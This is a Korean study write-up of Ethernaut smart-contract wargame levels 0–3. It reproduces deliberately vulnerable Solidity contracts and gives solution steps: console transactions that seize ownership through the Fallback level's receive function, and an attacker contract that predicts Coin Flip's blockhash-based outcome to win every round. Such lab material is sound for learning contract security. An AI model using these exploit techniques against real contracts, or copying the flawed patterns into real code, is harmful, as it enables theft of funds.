Ethnaut을 통한 컨트랙트 취약점 공부 (0~3번)

Ehternaut

미리 Ethnaut사이트 내에 작성된 예제등을 통해 컨트랙트의 사용법을 익히고, 그 과정속에서 컨트랙트의 취약점들을 파악할 수 있다.

시작하기 전에, Rinkeby 테스트넷 이더가 필요하니 Faucet에서 받아야한다.
https://faucet.rinkeby.io/

1. Hello Ethernaut

(1번부터 적었지만 사이트내에서는 0번부터 시작한다.)

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Instance {

  string public password;
  uint8 public infoNum = 42;
  string public theMethodName = 'The method name is method7123949.';
  bool private cleared = false;

  // constructor
  constructor(string memory _password) public {
    password = _password;
  }

  function info() public pure returns (string memory) {
    return 'You will find what you need in info1().';
  }

  function info1() public pure returns (string memory) {
    return 'Try info2(), but with "hello" as a parameter.';
  }

  function info2(string memory param) public pure returns (string memory) {
    if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
      return 'The property infoNum holds the number of the next info method to call.';
    }
    return 'Wrong parameter.';
  }

  function info42() public pure returns (string memory) {
    return 'theMethodName is the name of the next method.';
  }

  function method7123949() public pure returns (string memory) {
    return 'If you know the password, submit it to authenticate().';
  }

  function authenticate(string memory passkey) public {
    if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
      cleared = true;
    }
  }

  function getCleared() public view returns (bool) {
    return cleared;
  }
}

사이트에는 페이지별로 위와 같이 컨트랙트가 작성되어 있어서 이를 콘솔을 통해 호출하여 사용해 볼 수 있다. 다만 그 과정에서 rinkeby테스트 이더가 필요하므로 사전에 Faucet 등을 통해 준비하는 것이 좋다. 1단계에서는 이더너트를 사용하는 기본적인 방법을 콘솔창을 통해 여러 값을 입력해보며 Ethernaut 사용법을 익힐 수 있다.

2. Fallback

pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

fallback함수의 특징을 활용해서 다른 함수들을 사용해서 조건을 어느정도 만들어 놓고, 1000이더를 보내지 않고도 자신을 owner로 설정하여 목표를 달성할 수 있다.

fallback함수의 경우 컨트랙트에 설정되지 않은 변수를 호출한다던지, 밸류(이더)를 전송하는 등의 방법을 통해 호출할 수 있다. 함수명이 선언되지 않은 함수이지만, 위의 경우와 같이 receive 함수들을 사용하는 것과 같이 컨트랙트에서 다양한 기능을 구현하기위해 자주 사용한다.

풀이

A: contribute를 통해 requirefmf 통과할 정도의 이더를 보내고 contributions[msg.sender]를 0보다는 크게 설정해놓고, fallback함수를 사용해서 자신의 주소를 owner로 바꾸면 withdraw를 사용할 수 있다.
⇒ 목표 달성

cf) contribution을 확인할때는 함수 앞에 Number() 사용

ex) Number( await contract ~~)

참조 문법

await contract.contribute.sendTransaction({value:toWei("0.0001")})

await sendTransaction({from:player,to:"contract:address",value:toWei("0.0001")})

3. Fallout

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {
  
  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;

  /* constructor */
  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
	        require(
	            msg.sender == owner,
	            "caller is not the owner"
	        );
	        _;
	    }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}

과거 Constructor의 사용법 취약점 관련문제. 과거에는 constructor 라는 선언대신 컨트랙트 명과 동일한 함수명을 사용하여 현재의 constructor를 대체하여 사용했다. 생성자의 역할은 생성될때만 실행되어 일종의 보안설정을 하는 중요한 단계인데, 취약점이 뚫리면서 누구나 생성자의 호출이 가능하게 되면 누구나 owner가 될 수 있게된다.

딱히 해결방법이라는 풀이순서가 존재한다기 보다는 앞서 말한 constructor의 특징을 잘 이해하고 가는것이 중요한듯 하다.

4. Coin Flip

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

이전에 실습으로 했던 컨트랙트 호출을 통한 블록넘버 해킹방법과 동일한 방법이다. 연속으로 coinflip의 결과를 전부 맞춰야 하는데 remix를 통해 중간 결과를 가로채고, 정답을 전부 맞추도록할 수 있다.

리믹스 사용

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.3.0/contracts/math/SafeMath.sol";

SafeMath를 불러와야하는데 위와 같은 방법으로 https를 사용해도 되고, @를 통해 리믹스 내에 solidity파일을 붙여넣고 참조해도 된다. Safemath는 위의 컨트랙트 코드를 그대로 사용하기 위해서는 필요하지만, 기본적인 연산에만 사용되었기 때문에 사용자 본인이 연산만 제대로 적어주고, 과정상의 변화가 일어나지만 않게 한다면 코드를 수정해도 abi나 컨트랙트에의 변화는 없을 것이다. 이번 경우는 SafeMath를 사용하지 않고 사칙연산으로 변경하여 풀이해보았다.

pragma solidity ^0.6.0;

contract CoinFlip {

  
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contract hack {
     uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
  address ethnaut;
  
  
    function haack() public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number-1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue/FACTOR;
    bool side = coinFlip == 1 ? true : false;

    CoinFlip(컨트랙트 코드).flip(side);
  }
}

hack이라는 컨트랙트를 만들고 그 안에 coinflip함수의 일부를 가져와서 블록넘버를 미리 계산하여 side의 결과값을 미리 알아내는 haack이라는 함수를 작성하고 coinflip함수 호출을 통해 계산된 결과값을 입력하여 무조건 정답이 되도록하는 로직을 구현한다.

haack함수 실행은 리믹스에서 하였고, 주의할 점이라고 한다면 리믹스의 enviroment를 현재 사용하고 있는 rinkeby 테스트넷과 이어주기 위해 injected web3를 사용하는 것 정도이다. 함수를 10번 시행하고 Ethnaut에서 consecutiveWinds()를 시행하면 성공횟수를 확인할 수 있고, 목표를 달성하게된다.

좋은 웹페이지 즐겨찾기